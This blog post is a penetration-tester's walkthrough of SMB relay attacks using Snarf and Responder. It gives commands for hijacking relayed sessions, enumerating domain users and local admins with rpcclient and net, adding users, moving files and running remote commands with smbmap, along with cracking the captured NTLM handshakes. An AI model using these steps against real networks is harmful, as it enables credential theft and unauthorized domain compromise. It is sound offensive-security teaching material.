SMB Relay is a well-known attack that involves intercepting SMB traffic and relaying the NTLM authentication handshakes to a target host. This post assumes you already understand the basics of SMB Relay (if not I highly suggest you check out Mark Baggett’s SANS post SMB Relay Demystified and NTLMv2 Pwnage with Python). SMB Relay has hands down been the most frequent foothold I’ve found on internal network pentests; however, sometimes the users in my broadcast domain don’t seem to have Local Administrator rights on any of the targeted hosts or AV is making the process take a lot longer. This is where Snarf comes to the rescue.
I was on a network once where NBNS/LLMNR traffic was infrequent and administrator rights were limited. After a couple hours of running Responder with Impacket’s smbrelayx, I had gotten nowhere on the pathway. None of the poisoned victims were administrators on the targeted hosts. Next I tried Snarf with Responder. Snarf provided NTLM handshakes for every poisoned user, allowed me to enumerate local administrative rights on a number of hosts, and provided me a full domain user list. From this point, I threw the handshakes in John, located a host with excessive administrative rights and ran a one or two guess online password brute force attack. This information eventually led to Domain Administrator rights and access to the crown jewels of the client’s sensitive data. The pathway would have taken significantly longer, if it would have even been possible, without Snarf.
Snarf is a tool written in NodeJS by Victor Mata and Josh Stone that keeps authenticated sessions alive and allows an attacker to run multiple commands through one successful relay. Snarf waits for the poisoned client to finish its transaction with the server (target), allows the client to disconnect from our host, and keeps the session between our host and the target alive. Now we can run tools through the hijacked session under the privilege of the poisoned user.
Snarf requires nodejs and some attack or tool to get in the middle of an SMB connection. Spiderlabs’ Responder is my personal favorite tool for this task - clone it as well if you don’t already have it.
apt-get install nodejs
git clone https://github.com/purpleteam/snarf.git
Make sure to start SnarfJS prior to any other tools being used for the SMB Relay attack; (such as Responder). This allows SnarfJS to bind to TCP port 445.
nodejs snarf.js <your-ip> -d <target-ip>
Snarf will output the following command to run to set an iptables rule:
iptables -t nat -A PREROUTING -p tcp --dport 445 -j SNARF
After running the iptables command, navigate in a browser to 127.0.0.1:4001.
In the top left, under Control, you can change the targeting mode from a single target to multiple targets. When this mode is enabled, SMB connections will be sent round robin at the targets in the list. This is a good method for determining local admin group members on hosts within your broadcast domain.
When a session comes in, it will initially be unavailable for interaction. This is because the victim is still communicating with the target. To make any active session available for selection, click Expire.
You may notice the Hash column above. This is the MS-CHAP authentication handshake used to authenticate to the target. MS-CHAP handshakes cannot be passed like a full NTLM hash; however, we can try to crack the hash. If the authentication protocol is NTLMv1, you can try to use rcracki and rainbow tables to recover the plaintext password. See Foofus’ LM/NTLM Challenge/Response Authentication post for more details. Note that this attack will not work if the users’ password is 15 or more characters and/or LM hashing is disabled. If the authentication protocol is NTLMv2, you can use john or oclhashcat to try and crack the password.
Now we have a working session that we can run tools through to investigate the target host and get code execution on if we have local admin rights.
To use tools with Snarf, we will point the tool at localhost and enter any text as the username and password options. Snarf will listen for the connection, strip out the authentication details, redirect the tool to the target, and use the currently selected session’s privileges.
rpcclient is a very useful tool in this attack, given the kinds of information that can be harvested. For more commands and ideas, check out these great posts:
- more with rpcclient - Chris Gates
- more of using rpcclient to find usernames - Chris Gates
- Plundering Windows Account Info via Authenticated SMB Sessions - Ed Skoudis
- lsaenumsid - get some SIDS for further enumeration
- lookupsids - turns SID into username
- queryuser RID - query user information
- getdompwinfo - enumerates password info
- enumdomusers - enumerates domain users
- enumalsgroups builtin - enumerates local groups
Enumerate Local Admins:
queryaliasmem builtin [RID] (ie queryaliasmem builtin 0x220)
Enumerate Domain Users and Groups:
(Based on a tweet by Victor Mata)
Replace the ##s with appropriate SID info
for ((i=0;i<=1100;i++)); do rpcclient -U blah -N -c "lookupsids S-1-5-21-##-##-##-$i” 127.0.0.1 | tee -a domain-enum.txt; done
*NOTE: If you get timeout errors, throw
&& sleep 1 before
; done to sleep for a second between attempts. *
Enumerate Domain/Local Password Policy:
rpcclient -W <workgroup|domain> -U user%pass localhost -c "getdompwinfo"
Use the base command of
net -U user%pass -I 127.0.0.1 with any of the following net commands
- rpc group list - list local groups
- rpc group MEMBERS “Administrators” - list local admins
- rpc user - list all users
- rpc user info
- list domain groups for specified user
- rpc user add
[-F ] - add user
- rpc user delete
- delete user
- rpc share
- list shares on target host
Note: Accessing any hidden shares, like C$, or user account changes require local administrative rights.
See the man page
Connect to the target through Snarf:
All the normal Windows directory navigation works:
You can also upload/download files:
get <remote file name> [local file name]
put <local file name> [remote file name]
Note: Accessing any hidden shares, like C$, require local administrative rights.
smbmap is an SMB enumeration and interaction tool that can find weak share permissions and execute commands in a PSExec-like fashion. Note that this execution style writes to disk, so it may not fly on a Red Teaming engagement.
python /usr/share/smbmap/smbmap.py -H 127.0.0.1 -u user -p pass -x 'net group "domain admins" /domain'
Note: Accessing the C$ share or executing commands through any hidden shares require local administrative rights.
Snarf is an awesome tool to use on internal pentest/red team engagements due to its poison once, exploit many abilities. This means a tester could stand up Snarf and Responder, poison one user, kill Responder, and enumerate a lot of information about the target domain with very minimal end-user impact. Personally, I feel like the next steps in using this tool are to determine, or create, a method to get remote code execution leveraging these tools without touching disk, allowing for usage on red team engagements.